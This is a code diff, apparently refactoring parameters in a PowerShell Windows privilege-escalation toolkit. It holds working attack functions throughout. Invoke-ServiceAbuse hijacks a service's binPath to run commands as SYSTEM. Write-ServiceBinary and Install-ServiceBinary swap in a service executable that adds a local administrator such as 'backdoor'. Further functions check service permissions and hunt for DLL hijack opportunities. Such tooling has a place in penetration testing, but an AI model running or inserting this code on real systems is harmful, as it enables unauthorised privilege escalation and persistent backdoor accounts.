-Name $ServiceName -ErrorAction Stop | Add-ServiceDacl - } - - $AccessMask = @{ - 'QueryConfig' = [uint32]'0x00000001' - 'ChangeConfig' = [uint32]'0x00000002' - 'QueryStatus' = [uint32]'0x00000004' - 'EnumerateDependents' = [uint32]'0x00000008' - 'Start' = [uint32]'0x00000010' - 'Stop' = [uint32]'0x00000020' - 'PauseContinue' = [uint32]'0x00000040' - 'Interrogate' = [uint32]'0x00000080' - 'UserDefinedControl' = [uint32]'0x00000100' - 'Delete' = [uint32]'0x00010000' - 'ReadControl' = [uint32]'0x00020000' - 'WriteDac' = [uint32]'0x00040000' - 'WriteOwner' = [uint32]'0x00080000' - 'Synchronize' = [uint32]'0x00100000' - 'AccessSystemSecurity' = [uint32]'0x01000000' - 'GenericAll' = [uint32]'0x10000000' - 'GenericExecute' = [uint32]'0x20000000' - 'GenericWrite' = [uint32]'0x40000000' - 'GenericRead' = [uint32]'0x80000000' - 'AllAccess' = [uint32]'0x000F01FF' - } - - if($PSBoundParameters['Permissions']) { - $TargetPermissions = $Permissions - } - else { - if($PermissionSet -eq 'ChangeConfig') { - $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess') - } - elseif($PermissionSet -eq 'Restart') { - $TargetPermissions = @('Start', 'Stop') - $CheckAllPermissionsInSet = $True # so we check all permissions && style + BEGIN { + $AccessMask = @{ + 'QueryConfig' = [uint32]'0x00000001' + 'ChangeConfig' = [uint32]'0x00000002' + 'QueryStatus' = [uint32]'0x00000004' + 'EnumerateDependents' = [uint32]'0x00000008' + 'Start' = [uint32]'0x00000010' + 'Stop' = [uint32]'0x00000020' + 'PauseContinue' = [uint32]'0x00000040' + 'Interrogate' = [uint32]'0x00000080' + 'UserDefinedControl' = [uint32]'0x00000100' + 'Delete' = [uint32]'0x00010000' + 'ReadControl' = [uint32]'0x00020000' + 'WriteDac' = [uint32]'0x00040000' + 'WriteOwner' = [uint32]'0x00080000' + 'Synchronize' = [uint32]'0x00100000' + 'AccessSystemSecurity' = [uint32]'0x01000000' + 'GenericAll' = [uint32]'0x10000000' + 'GenericExecute' = [uint32]'0x20000000' + 'GenericWrite' = [uint32]'0x40000000' + 'GenericRead' = [uint32]'0x80000000' + 'AllAccess' = [uint32]'0x000F01FF' + } + + if($PSBoundParameters['Permissions']) { + $TargetPermissions = $Permissions } - elseif($PermissionSet -eq 'AllAccess') { - $TargetPermissions = @('GenericAll', 'AllAccess') + else { + if($PermissionSet -eq 'ChangeConfig') { + $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess') + } + elseif($PermissionSet -eq 'Restart') { + $TargetPermissions = @('Start', 'Stop') + $CheckAllPermissionsInSet = $True # so we check all permissions && style + } + elseif($PermissionSet -eq 'AllAccess') { + $TargetPermissions = @('GenericAll', 'AllAccess') + } } } - if($TargetService -and $TargetService.Dacl) { + PROCESS { - # enumerate all group SIDs the current user is a part of - $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() - $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value - $CurrentUserSids += $UserIdentity.User.Value + ForEach($IndividualService in $Name) { + + $TargetService = Get-Service -Name $IndividualService | Add-ServiceDacl + + if($TargetService -and $TargetService.Dacl) { - ForEach($ServiceDacl in $TargetService.Dacl) { - if($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) { - - if($CheckAllPermissionsInSet) { - $AllMatched = $True - ForEach($TargetPermission in $TargetPermissions) { - # check permissions && style - if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) { - Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)" - $AllMatched = $False - break + # enumerate all group SIDs the current user is a part of + $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() + $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value + $CurrentUserSids += $UserIdentity.User.Value + + ForEach($ServiceDacl in $TargetService.Dacl) { + if($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) { + + if($CheckAllPermissionsInSet) { + $AllMatched = $True + ForEach($TargetPermission in $TargetPermissions) { + # check permissions && style + if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) { + Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)" + $AllMatched = $False + break + } + } + if($AllMatched) { + $TargetService + } } - } - if($AllMatched) { - $TargetService - } - } - else { - ForEach($TargetPermission in $TargetPermissions) { - # check permissions || style - if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) { - Write-Verbose "Current user has '$TargetPermission' for $($TargetService.Name)" - $TargetService - break + else { + ForEach($TargetPermission in $TargetPermissions) { + # check permissions || style + if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) { + Write-Verbose "Current user has '$TargetPermission' for $($TargetService.Name)" + $TargetService + break + } + } } } } } + else { + Write-Warning "Error enumerating the Dacl for service $($TargetService.Name)" + } } } - else { - Write-Warning "Error enumerating the Dacl for service $ServiceName" - } } @@ -1373,7 +1311,7 @@ function Get-ServiceUnquoted { if ($VulnServices) { ForEach ($Service in $VulnServices){ - $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -ServiceName $Service.name + $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name if($ServiceRestart) { $CanRestart = $True @@ -1386,7 +1324,7 @@ function Get-ServiceUnquoted { $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'StartName' $Service.startname - $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -ServiceName '$($Service.name)' -ServicePath " + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -ServicePath " $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } @@ -1423,7 +1361,7 @@ function Get-ModifiableServiceFile { $ServicePath | Get-ModifiablePath | ForEach-Object { - $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -ServiceName $ServiceName + $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName if($ServiceRestart) { $CanRestart = $True @@ -1439,7 +1377,7 @@ function Get-ModifiableServiceFile { $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference $Out | Add-Member Noteproperty 'StartName' $ServiceStartName - $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -ServiceName '$ServiceName'" + $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -Name '$ServiceName'" $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } @@ -1467,7 +1405,7 @@ function Get-ModifiableService { Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object { - $ServiceDetails = Get-ServiceDetail -Service $_ + $ServiceDetails = $_ | Get-ServiceDetail $ServiceRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart' @@ -1482,7 +1420,7 @@ function Get-ModifiableService { $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname - $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($ServiceDetails.name)'" + $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'" $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } @@ -1498,21 +1436,18 @@ function Get-ServiceDetail { .DESCRIPTION - Takes a ServiceName or a ServiceProcess.ServiceController object returned by - Get-Service, extracts out the service name, queries the WMI win32_service class for - the specified service for details like binPath, and outputs everything. + Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on + the pipeline object returned by Get-Service, extracts out the service name, queries the + WMI win32_service class for the specified service for details like binPath, and outputs + everything. - .PARAMETER Service - - A ServiceProcess.ServiceController object from Get-Service. + .PARAMETER Name - .PARAMETER ServiceName - - The service name to query for. + An array of one or more service names to query information for. .EXAMPLE - PS C:\> Get-ServiceDetail -ServiceName VulnSVC + PS C:\> Get-ServiceDetail -Name VulnSVC Gets detailed information about the 'VulnSVC' service. @@ -1523,35 +1458,28 @@ function Get-ServiceDetail { Gets detailed information about the 'VulnSVC' service. #> - [CmdletBinding(DefaultParameterSetName='ServiceName')] param ( - [Parameter(ParameterSetName='ServiceName', Position = 0, Mandatory = $True)] - [String] - [ValidateNotNullOrEmpty()] - $ServiceName, - - [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 1, ValueFromPipeline = $True)] - [ServiceProcess.ServiceController] + [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('ServiceName')] + [String[]] [ValidateNotNullOrEmpty()] - $Service + $Name ) PROCESS { - if($PSBoundParameters['Service']) { - $TargetService = $Service - } - else { - $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop - } + ForEach($IndividualService in $Name) { - Get-WmiObject -Class win32_service -Filter "Name='$($TargetService.Name)'" | Where-Object {$_} | ForEach-Object { - try { - $_ - } - catch{ - Write-Warning "Error: $_" - $null + $TargetService = Get-Service -Name $IndividualService + + Get-WmiObject -Class win32_service -Filter "Name='$($TargetService.Name)'" | Where-Object {$_} | ForEach-Object { + try { + $_ + } + catch{ + Write-Warning "Error: $_" + $null + } } } } @@ -1576,22 +1504,18 @@ function Invoke-ServiceAbuse { .DESCRIPTION - Takes a ServiceProcess.ServiceController or a ServiceName the current user has configuration - modification rights on and executes a series of automated actions to execute commands as - SYSTEM. First, the service is enabled if it was set as disabled and the original service - binary path and configuration state are preserved. Then the service is stopped and the - Set-ServiceBinPath function is used to set the binary (binPath) for the service to a series - of commands, the service is started, stopped, and the next command is configured. After + Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current + user has configuration modification rights on and executes a series of automated actions to + execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the + original service binary path and configuration state are preserved. Then the service is stopped + and the Set-ServiceBinPath function is used to set the binary (binPath) for the service to a + series of commands, the service is started, stopped, and the next command is configured. After completion, the original service configuration is restored and a custom object is returned that captures the service abused and commands run. - .PARAMETER Service - - A ServiceProcess.ServiceController object from Get-Service. - - .PARAMETER ServiceName + .PARAMETER Name - The name of the target service to abuse. + An array of one or more service names to abuse. .PARAMETER UserName @@ -1620,72 +1544,62 @@ function Invoke-ServiceAbuse { .EXAMPLE - PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC + PS C:\> Invoke-ServiceAbuse -Name VulnSVC Abuses service 'VulnSVC' to add a localuser "john" with password "Password123! to the machine and local administrator group .EXAMPLE - PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLAB\john" + PS C:\> Get-Service VulnSVC | Invoke-ServiceAbuse + + Abuses service 'VulnSVC' to add a localuser "john" with password + "Password123! to the machine and local administrator group + + .EXAMPLE + + PS C:\> Invoke-ServiceAbuse -Name VulnSVC -UserName "TESTLAB\john" Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the local adminisrtators group. .EXAMPLE - PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users" + PS C:\> Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users" Abuses service 'VulnSVC' to add a localuser "backdoor" with password "password" to the machine and local "Power Users" group .EXAMPLE - PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..." + PS C:\> Invoke-ServiceAbuse -Name VulnSVC -Command "net ..." Abuses service 'VulnSVC' to execute a custom command. #> - [CmdletBinding(DefaultParameterSetName='ServiceName')] param ( - [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 0, ValueFromPipeline = $True)] - [ServiceProcess.ServiceController] - [ValidateNotNullOrEmpty()] - $Service, - - [Parameter(ParameterSetName='ServiceName', Position = 1, Mandatory = $True)] - [String] + [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('ServiceName')] + [String[]] [ValidateNotNullOrEmpty()] - $ServiceName, + $Name, - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [String] $UserName = 'john', - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [String] $Password = 'Password123!', - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [String] $LocalGroup = 'Administrators', - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [Management.Automation.PSCredential] $Credential, - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [String] [ValidateNotNullOrEmpty()] $Command, - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [Switch] $Force ) @@ -1719,29 +1633,44 @@ function Invoke-ServiceAbuse { PROCESS { - if($PSBoundParameters['Service']) { - $TargetService = $Service - } - else { - $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop - } + ForEach($IndividualService in $Name) { - $ServiceDetails = Get-ServiceDetail -Service $TargetService + $TargetService = Get-Service -Name $IndividualService - $RestoreDisabled = $False - if ($ServiceDetails.StartMode -match 'Disabled') { - Write-Verbose "Service '$ServiceName' disabled, enabling..." - $TargetService | Set-Service -StartupType Manual -ErrorAction Stop - $RestoreDisabled = $True - } + $ServiceDetails = $TargetService | Get-ServiceDetail - $OriginalServicePath = $ServiceDetails.PathName - $OriginalServiceState = $ServiceDetails.State + $RestoreDisabled = $False + if ($ServiceDetails.StartMode -match 'Disabled') { + Write-Verbose "Service '$(ServiceDetails.Name)' disabled, enabling..." + $TargetService | Set-Service -StartupType Manual -ErrorAction Stop + $RestoreDisabled = $True + } + + $OriginalServicePath = $ServiceDetails.PathName + $OriginalServiceState = $ServiceDetails.State + + Write-Verbose "Service '$($TargetService.Name)' original path: '$OriginalServicePath'" + Write-Verbose "Service '$($TargetService.Name)' original state: '$OriginalServiceState'" + + ForEach($ServiceCommand in $ServiceCommands) { + + if($PSBoundParameters['Force']) { + $TargetService | Stop-Service -Force -ErrorAction Stop + } + else { + $TargetService | Stop-Service -ErrorAction Stop + } - Write-Verbose "Service '$($TargetService.Name)' original path: '$OriginalServicePath'" - Write-Verbose "Service '$($TargetService.Name)' original state: '$OriginalServiceState'" + Write-Verbose "Executing command '$ServiceCommand'" - ForEach($ServiceCommand in $ServiceCommands) { + $Success = $TargetService | Set-ServiceBinPath -binPath "$ServiceCommand" + + if (-not $Success) { + throw "Error reconfiguring the binPath for $($TargetService.Name)" + } + + $TargetService | Start-Service -ErrorAction SilentlyContinue + } if($PSBoundParameters['Force']) { $TargetService | Stop-Service -Force -ErrorAction Stop @@ -1750,54 +1679,37 @@ function Invoke-ServiceAbuse { $TargetService | Stop-Service -ErrorAction Stop } - Write-Verbose "Executing command '$ServiceCommand'" + Write-Verbose "Restoring original path to service '$($TargetService.Name)'" - $Success = Set-ServiceBinPath -Service $TargetService -binPath "$ServiceCommand" + $Success = $TargetService | Set-ServiceBinPath -binPath "$OriginalServicePath" if (-not $Success) { - throw "Error reconfiguring the binPath for $($TargetService.Name)" + throw "Error restoring the original binPath for $($TargetService.Name)" } - $TargetService | Start-Service -ErrorAction SilentlyContinue - } - - if($PSBoundParameters['Force']) { - $TargetService | Stop-Service -Force -ErrorAction Stop - } - else { - $TargetService | Stop-Service -ErrorAction Stop - } - - Write-Verbose "Restoring original path to service '$($TargetService.Name)'" - - $Success = Set-ServiceBinPath -Service $TargetService -binPath "$OriginalServicePath" - - if (-not $Success) { - throw "Error restoring the original binPath for $($TargetService.Name)" - } + # try to restore the service to whatever the service's original state was + if($RestoreDisabled) { + Write-Verbose "Re-disabling service '$($TargetService.Name)'" + $TargetService | Set-Service -StartupType Disabled -ErrorAction Stop + } + elseif($OriginalServiceState -eq "Paused") { + Write-Verbose "Starting and then pausing service '$($TargetService.Name)'" + $TargetService | Start-Service + $TargetService | Set-Service -Status Paused -ErrorAction Stop + } + elseif($OriginalServiceState -eq "Stopped") { + Write-Verbose "Leaving service '$($TargetService.Name)' in stopped state" + } + else { + Write-Verbose "Restarting '$($TargetService.Name)'" + $TargetService | Start-Service + } - # try to restore the service to whatever the service's original state was - if($RestoreDisabled) { - Write-Verbose "Re-disabling service '$($TargetService.Name)'" - $TargetService | Set-Service -StartupType Disabled -ErrorAction Stop - } - elseif($OriginalServiceState -eq "Paused") { - Write-Verbose "Starting and then pausing service '$($TargetService.Name)'" - $TargetService | Start-Service - $TargetService | Set-Service -Status Paused -ErrorAction Stop - } - elseif($OriginalServiceState -eq "Stopped") { - Write-Verbose "Leaving service '$($TargetService.Name)' in stopped state" - } - else { - Write-Verbose "Restarting '$($TargetService.Name)'" - $TargetService | Start-Service + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceAbused' $TargetService.Name + $Out | Add-Member Noteproperty 'Command' $($ServiceCommands -join ' && ') + $Out } - - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceAbused' $TargetService.Name - $Out | Add-Member Noteproperty 'Command' $($ServiceCommands -join ' && ') - $Out } } @@ -1818,14 +1730,11 @@ function Write-ServiceBinary { for service abuse. If a -UserName/-Password or -Credential is specified, the command patched in creates a local user and adds them to the specified -LocalGroup, otherwise the specified -Command is patched in. The binary is then written out to the specified - -ServicePath. -ServiceName or -Service is required in order to patch in the appropriate - service name the binary will be running under. + -ServicePath. Either -Name must be specified for the service, or a proper object from + Get-Service must be passed on the pipeline in order to patch in the appropriate service + name the binary will be running under. - .PARAMETER Service - - A ServiceProcess.ServiceController object from Get-Service. - - .PARAMETER ServiceName + .PARAMETER Name The service name the EXE will be running under. @@ -1856,7 +1765,7 @@ function Write-ServiceBinary { .EXAMPLE - PS C:\> Write-ServiceBinary -ServiceName VulnSVC + PS C:\> Write-ServiceBinary -Name VulnSVC Writes a service binary to service.exe in the local directory for VulnSVC that adds a local Administrator (john/Password123!). @@ -1870,66 +1779,49 @@ function Write-ServiceBinary { .EXAMPLE - PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName 'TESTLAB\john' + PS C:\> Write-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john' Writes a service binary to service.exe in the local directory for VulnSVC that adds TESTLAB\john to the Administrators local group. .EXAMPLE - PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! + PS C:\> Write-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123! Writes a service binary to service.exe in the local directory for VulnSVC that adds a local Administrator (backdoor/Password123!). .EXAMPLE - PS C:\> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." + PS C:\> Write-ServiceBinary -Name VulnSVC -Command "net ..." Writes a service binary to service.exe in the local directory for VulnSVC that executes a custom command. #> - [CmdletBinding(DefaultParameterSetName='ServiceName')] Param( - [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 0, ValueFromPipeline = $True)] - [ServiceProcess.ServiceController] - [ValidateNotNullOrEmpty()] - $Service, - - [Parameter(ParameterSetName='ServiceName', Position = 1, Mandatory = $True)] + [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('ServiceName')] [String] [ValidateNotNullOrEmpty()] - $ServiceName, + $Name, - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [String] $UserName = 'john', - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [String] $Password = 'Password123!', - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [String] $LocalGroup = 'Administrators', - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [Management.Automation.PSCredential] $Credential, - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [String] [ValidateNotNullOrEmpty()] $Command, - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [String] $ServicePath = "$(Convert-Path .)\service.exe" ) @@ -1965,12 +1857,7 @@ function Write-ServiceBinary { PROCESS { - if($PSBoundParameters['Service']) { - $TargetService = $Service - } - else { - $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop - } + $TargetService = Get-Service -Name $Name # get the unicode byte conversions of all arguments $Enc = [System.Text.Encoding]::Unicode @@ -2010,19 +1897,15 @@ function Install-ServiceBinary { .DESCRIPTION - Takes a ServiceProcess.ServiceController or a ServiceName where the current user can - modify the associated service binary listed in the binPath. Backs up the original - service binary to "OriginalService.exe.bak" in service binary location, and then - uses Write-ServiceBinary to create a C# service binary that either adds + Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the + current user can modify the associated service binary listed in the binPath. Backs up + the original service binary to "OriginalService.exe.bak" in service binary location, + and then uses Write-ServiceBinary to create a C# service binary that either adds a local administrator user or executes a custom command. The new service binary is replaced in the original service binary path, and a custom object is returned that captures the original and new service binary configuration. - .PARAMETER Service - - A ServiceProcess.ServiceController object from Get-Service. - - .PARAMETER ServiceName + .PARAMETER Name The service name the EXE will be running under. @@ -2049,7 +1932,7 @@ function Install-ServiceBinary { .EXAMPLE - PS C:\> Install-ServiceBinary -ServiceName VulnSVC + PS C:\> Install-ServiceBinary -Name VulnSVC Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary for VulnSVC with one that adds a local Administrator (john/Password123!). @@ -2063,60 +1946,45 @@ function Install-ServiceBinary { .EXAMPLE - PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName 'TESTLAB\john' + PS C:\> Install-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john' Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary for VulnSVC with one that adds TESTLAB\john to the Administrators local group. .EXAMPLE - PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! + PS C:\> Install-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123! Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary for VulnSVC with one that adds a local Administrator (backdoor/Password123!). .EXAMPLE - PS C:\> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..." + PS C:\> Install-ServiceBinary -Name VulnSVC -Command "net ..." Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary for VulnSVC with one that executes a custom command. #> - [CmdletBinding(DefaultParameterSetName='ServiceName')] Param( - [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 0, ValueFromPipeline = $True)] - [ServiceProcess.ServiceController] - [ValidateNotNullOrEmpty()] - $Service, - - [Parameter(ParameterSetName='ServiceName', Position = 1, Mandatory = $True)] + [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('ServiceName')] [String] [ValidateNotNullOrEmpty()] - $ServiceName, + $Name, - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [String] $UserName = 'john', - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [String] $Password = 'Password123!', - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [String] $LocalGroup = 'Administrators', - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [Management.Automation.PSCredential] $Credential, - [Parameter(ParameterSetName='Service')] - [Parameter(ParameterSetName='ServiceName')] [String] [ValidateNotNullOrEmpty()] $Command @@ -2149,14 +2017,9 @@ function Install-ServiceBinary { PROCESS { - if($PSBoundParameters['Service']) { - $TargetService = $Service - } - else { - $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop - } + $TargetService = Get-Service -Name $Name - $ServiceDetails = Get-ServiceDetail -Service $TargetService + $ServiceDetails = $TargetService | Get-ServiceDetail $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath @@ -2176,7 +2039,7 @@ function Install-ServiceBinary { Write-Warning "Error backing up '$ServicePath' : $_" } - $Result = Write-ServiceBinary -ServiceName $ServiceDetails.Name -Command $ServiceCommand -ServicePath $ServicePath + $Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -ServicePath $ServicePath $Result | Add-Member Noteproperty 'BackupPath' $BackupPath $Result } @@ -2191,15 +2054,12 @@ function Restore-ServiceBinary { .DESCRIPTION - Takes a ServiceProcess.ServiceController or a ServiceName and checks for the - existence of an "OriginalServiceBinary.exe.bak". If it exists, the backup binary - is restored to the original location. - - .PARAMETER Service - - A ServiceProcess.ServiceController object from Get-Service. + Takes a service Name or a ServiceProcess.ServiceController on the pipeline and + checks for the existence of an "OriginalServiceBinary.exe.bak" in the service + binary location. If it exists, the backup binary is restored to the original + binary path. - .PARAMETER ServiceName + .PARAMETER Name The service name to restore a binary for. @@ -2209,36 +2069,31 @@ function Restore-ServiceBinary { .EXAMPLE - PS C:\> Restore-ServiceBinary -ServiceName VulnSVC + PS C:\> Restore-ServiceBinary -Name VulnSVC Restore the original binary for the service 'VulnSVC'. .EXAMPLE - PS C:\> Restore-ServiceBinary -ServiceName VulnSVC -BackupPath C:\temp\backup.exe + PS C:\> Get-Service VulnSVC | Restore-ServiceBinary - Restore the original binary for the service 'VulnSVC' from a custom location. + Restore the original binary for the service 'VulnSVC'. .EXAMPLE - PS C:\> Get-Service VulnSVC | Restore-ServiceBinary + PS C:\> Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe' - Restore the original binary for the service 'VulnSVC'. + Restore the original binary for the service 'VulnSVC' from a custom location. #> - [CmdletBinding(DefaultParameterSetName='ServiceName')] Param( - [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 0, ValueFromPipeline = $True)] - [ServiceProcess.ServiceController] - [ValidateNotNullOrEmpty()] - $Service, - - [Parameter(ParameterSetName='ServiceName', Position = 1, Mandatory = $True)] + [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('ServiceName')] [String] [ValidateNotNullOrEmpty()] - $ServiceName, + $Name, - [Parameter(Position = 2)] + [Parameter(Position = 1)] [ValidateScript({Test-Path -Path $_ })] [String] $BackupPath @@ -2246,14 +2101,9 @@ function Restore-ServiceBinary { PROCESS { - if($PSBoundParameters['Service']) { - $TargetService = $Service - } - else { - $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop - } + $TargetService = Get-Service -Name $Name - $ServiceDetails = Get-ServiceDetail -Service $TargetService + $ServiceDetails = $TargetService | Get-ServiceDetail $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath @@ -2298,10 +2148,9 @@ function Find-ProcessDLLHijack { All loaded module name exists outside of the process binary base path, as those are DLL load-order hijack candidates. - .PARAMETER Process + .PARAMETER Name - A System.Diagnostics.Process object from Get-Process to enumerate for possible - DLL path hijack opportunities. + The name of a process to enumerate for possible DLL path hijack opportunities. .PARAMETER ExcludeWindows @@ -2348,10 +2197,11 @@ function Find-ProcessDLLHijack { [CmdletBinding()] Param( - [Parameter(Position = 0, ValueFromPipeline = $True)] - [System.Diagnostics.Process] + [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('ProcessName')] + [String[]] [ValidateNotNullOrEmpty()] - $Process, + $Name, [Switch] $ExcludeWindows, @@ -2367,8 +2217,7 @@ function Find-ProcessDLLHijack { # the known DLL cache to exclude from our findings # http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx $Keys = (Get-Item "HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs") - $KnownDLLs = $(ForEach ($name in $Keys.GetValueNames()) { $Keys.GetValue($name) }) | Where-Object { $_.EndsWith(".dll") } - + $KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName) }) | Where-Object { $_.EndsWith(".dll") } $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name # get the owners for all processes @@ -2378,50 +2227,48 @@ function Find-ProcessDLLHijack { PROCESS { - if($PSBoundParameters['Process']) { - $TargetProcesses = $Process | Where-Object { $_.Path } - } - else { - $TargetProcesses = Get-Process | Where-Object { $_.Path } - } + ForEach ($ProcessName in $Name) { - ForEach ($TargetProcess in $TargetProcesses) { + $TargetProcess = Get-Process -Name $ProcessName - $BasePath = $TargetProcess.Path | Split-Path -Parent + if($TargetProcess.Path) { - $LoadedModules = $TargetProcess.Modules + $BasePath = $TargetProcess.Path | Split-Path -Parent - $ProcessOwner = $Owners[$TargetProcess.Id.ToString()] + $LoadedModules = $TargetProcess.Modules - ForEach ($Module in $LoadedModules){ + $ProcessOwner = $Owners[$TargetProcess.Id.ToString()] - $ModulePath = "$BasePath\$($Module.ModuleName)" + ForEach ($Module in $LoadedModules){ - # if the module path doesn't exist in the process base path folder - if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { + $ModulePath = "$BasePath\$($Module.ModuleName)" - $Exclude = $False + # if the module path doesn't exist in the process base path folder + if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { - if($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) { - $Exclude = $True - } + $Exclude = $False - if($PSBoundParameters['ExcludeProgramFiles'] -and 